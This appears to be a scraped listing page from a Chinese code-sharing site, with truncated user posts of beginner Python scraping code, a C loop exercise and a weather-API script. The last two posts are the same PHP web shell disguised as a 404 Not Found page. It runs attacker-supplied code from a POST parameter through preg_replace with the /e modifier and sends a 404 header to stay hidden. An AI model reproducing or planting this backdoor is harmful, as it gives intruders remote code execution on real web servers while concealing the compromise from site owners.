import urllib.request as r
from bs4 import BeautifulSoup
import json
import sys
import importlib
import requests
def articleSecond():
url = ''
# 用get函数发送GET请求,获取响应
res = requests.get(url)
# 设置响应的编码格式utf-8(默认格式为ISO-8859-1),防止中文出现乱码
......................
阅读全部
|
漫无目的
贴于 2019年8月15日 12:27
hide
bbsi
import urllib.request as r
from bs4 import BeautifulSoup
import json
import sys
import importlib
import requests
def articleSecond():
url = ''
# 用get函数发送GET请求,获取响应
res = requests.get(url)
# 设置响应的编码格式utf-8(默认格式为ISO-8859-1),防止中文出现乱码
......................
阅读全部
|
漫无目的
贴于 2019年8月15日 12:27
hide
bbsi
import urllib.request as r
from bs4 import BeautifulSoup
import json
import sys
import importlib
import requests
def articleSecond():
url = ''
# 用get函数发送GET请求,获取响应
res = requests.get(url)
# 设置响应的编码格式utf-8(默认格式为ISO-8859-1),防止中文出现乱码
......................
阅读全部
|
漫无目的
贴于 2019年8月15日 12:26
hide
bbsi
#include <stdio.h>
int main() {
printf("我在编程中国学C语言\n\n");
// 练习一下循环的使用
int i;
for (i=1; i<=20; i++) {
printf("我爱编程中国 %d 次\n", i);
}
printf("\n\n编程中国送我一颗小心心:");
......................
阅读全部
|
lz3189261294
贴于 2019年8月1日 20:33
hide
bbsi
import requests
import json
list1=['day','week','wea','tem','tem1','tem2','win','win_speed','air_level','air_tips'] list2=['','','天气: ','温度: ','最高温度: ','最低温度: ','风向: ','风速: ','空气质量: ','建议: ']
def show(days):
for i in range(10):
r=str(list2[i])+str(days[list1[i]])
print(r)
def show2(days):
......................
阅读全部
|
fighting910
贴于 2019年7月25日 19:15
hide
bbsi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
阅读全部
|
JYF789JKL
贴于 2019年7月5日 16:05
hide
bbsi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
阅读全部
|
JYF789JKL
贴于 2019年7月5日 15:30
hide
bbsi